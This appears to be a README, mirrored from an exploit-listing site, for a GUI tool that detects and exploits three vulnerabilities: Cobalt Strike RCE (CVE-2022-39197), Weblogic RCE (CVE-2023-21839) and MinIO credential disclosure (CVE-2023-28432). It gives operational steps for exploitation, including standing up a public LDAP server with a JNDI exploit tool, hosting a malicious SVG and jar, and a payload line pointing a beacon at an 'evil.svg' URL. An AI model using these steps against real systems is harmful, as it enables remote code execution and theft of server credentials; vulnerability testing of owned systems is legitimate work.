## https://sploitus.com/exploit?id=37E7257A-2D1C-5FC0-853F-70B7AABCA940
# Gui-poc-test
A testing tool for CobaltStrike-RCE:CVE-2022-39197; Weblogic-RCE:CVE-2023-21839; MinIO:CVE-2023-28432
Tools for graphical detection and exploitation of these three vulnerabilities
## Notes
1. Java 8 is required to run the jar.
2. Multi-IP scanning is not applicable for single targets.
3. When packaging, the Weblogic vulnerability exploitation requires referencing wlfullclient.jar; this needs to be added manually.
## Usage
```java -jar Gui-poc-test.jar```
Usage: There are two buttons—detection and exploitation. The tool interface provides instructions for each vulnerability.
### MinIO Information Leakage:
Enter the target; no port number is required. The default port is 9000, which can be changed. See the source code at GuiDemo.java:line144.
Enter values like MINIO_ROOT_USER and MINIO_ROOT_PASSWORD.
### Weblogic RCE
Enter the target IP, port, and LDAP server address.
Detection:
Note: Vulnerability exploitation requires setting up a LDAP server (public network).
- JNDI Exploitation Tool: Use the JNDIExploit.jar tool to enable LDAP and WEB services. Refer to https://github.com/WhiteHSBG/JNDIExploit.
### CobaltStrike RCE
1. After selecting a vulnerability, the method for self-checking the vulnerability is displayed by default. Enter the detection code in the cs listener to test whether the vulnerability exists.
2. Prerequisite for vulnerability exploitation: The target’s Trojan (exe) must be obtained locally.
3. Environment requirements: Windows, Python 3, and pip3 are needed to install frida-tools.
4. Python has been added to the environment variables.
5. Set up a server to store SVG files and jar packages; make sure the target can access them.
6. Enter the absolute path of the exe and the SVG address, separated by spaces. Click to execute the countermeasure.
7. The content of the jar package can be set by yourself. The demonstration content includes a pop-up calculator.
8. The default name of the Trojan is beacon; it can be changed. See the source code at cve_2022_39197.py:line28.
**Payload Example:**
```beacon.exe http://127.0.0.1:4444/evil.svg```
**Result:** The Trojan runs on Windows, and the cs client runs on Mac.
At the same time, the jar package content is executed on the cs side, displaying a pop-up calculator.
**Windows log recorded at the cs access address.**
## References
Principles: https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_zh_CN.md
https://github.com/4ra1n/CVE-2023-21839
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
https://github.com/its-arun/CVE-2022-39197
Cs patch: https://github.com/burpheart/CVE-2022-39197-patch
[source-iocs-preserved url=https://github.com/WhiteHSBG/JNDIExploit]